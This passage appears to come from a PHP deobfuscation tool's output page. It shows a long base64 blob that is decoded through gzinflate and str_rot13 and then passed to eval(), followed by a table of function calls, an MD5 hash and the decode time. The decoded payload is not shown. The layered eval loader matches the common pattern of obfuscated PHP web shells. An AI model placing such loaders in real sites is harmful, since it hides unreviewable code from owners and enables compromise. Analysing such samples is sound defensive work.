2Uyp+4eHr1ksH6IEE+eEjuedHHDE6/3Ryc5SmJy2iIG2zhkVVCdhx4TkrBo3V8VbQFnzkGzqnDFZtWBNq263Ke9vbd4Zd/5mTSnpb1hrCmOYRttulEInxFAjIZvgbeWNj7smwlcFXtI3vhUsh+kBhu6cj/uqz/RM6ojqq61vm2Hr18bC3jMsZzAfJigKWPyQYDWsioBmtDH7GUi8Xft1xKgqpPn4UQbKh8NHRZULJlLErp+GuZSaIlYXW6ExYPLjCZxaSi1Iglo4B6ewyFyEkxpzGuPWlqXeDsTAl1CAYofTJhD7FkPUSCIhpkpBoWhtNRyPNr59+O0wfPRtOBxGjx5Hq4+eTNZXJ0+fbkTllMvS7vHW8BqhPg819chmp6NO3ZfR0I+DCJd3bcv09HkHBRhsE4DpLFHjgvTdfobf+cmf/xRP6is9PIyf2sxu7fOuYLWN36Wyk9QRBCHPR9fWa1vSuIF8dNF2uZszjFYSl1T/rThdkQ1YVlJvrqzumviemHvJUmTvxSkWUtpNo9KEMaxtnQLFrto2khMkjXMmhKHoo0Q6RIoyuXS9bP0eEh41I5Tytc5l83rWYmweZ9QyvOvQv3JLxJ1n5HroXi15qlDQZBFKmqrh2ikx4DVar4jFiFalSt+TtQ5XvttoeVHH3h/AP+ixmmgumoIMzdxr1ALItznDcwYdjsfidkaHLg6fi+uKKww5EuZyu8r2SsdQaLhLa4oMH3q91JmovLYIdU9ubyR8ZYpN0AE67pJj2HOxHChswS4sR6VQsM9PbY5AUOQuxpPTKqoczPs9BoBuW+gUU1OrO/sRmANZE5VJNbjNUtRNLmz4+SPLDHNROxTFUUbvdtcavwscj/UsNplqPN/TBTlTQ7YkXbaoaY63dUbyRqOpe/sFjUdpaoGc3lECJO1p8ao2dueOsPIHdI9Y23r1aRkcqjGalasHD9L2uvWVT8L58ZP13Hq4Ch/8TtOY8bfsZ8lNEN1WSP7ZEUrx/wc=';
$ccc=str_rot13(gzinflate(base64_decode($code_)));
eval($ccc);
?>
Function Calls
| gzinflate | 1 |
| str_rot13 | 1 |
| base64_decode | 1 |
Stats
| MD5 | 1e71bd9ce95d00b66a5695042df548e9 |
| Eval Count | 1 |
| Decode Time | 277 ms |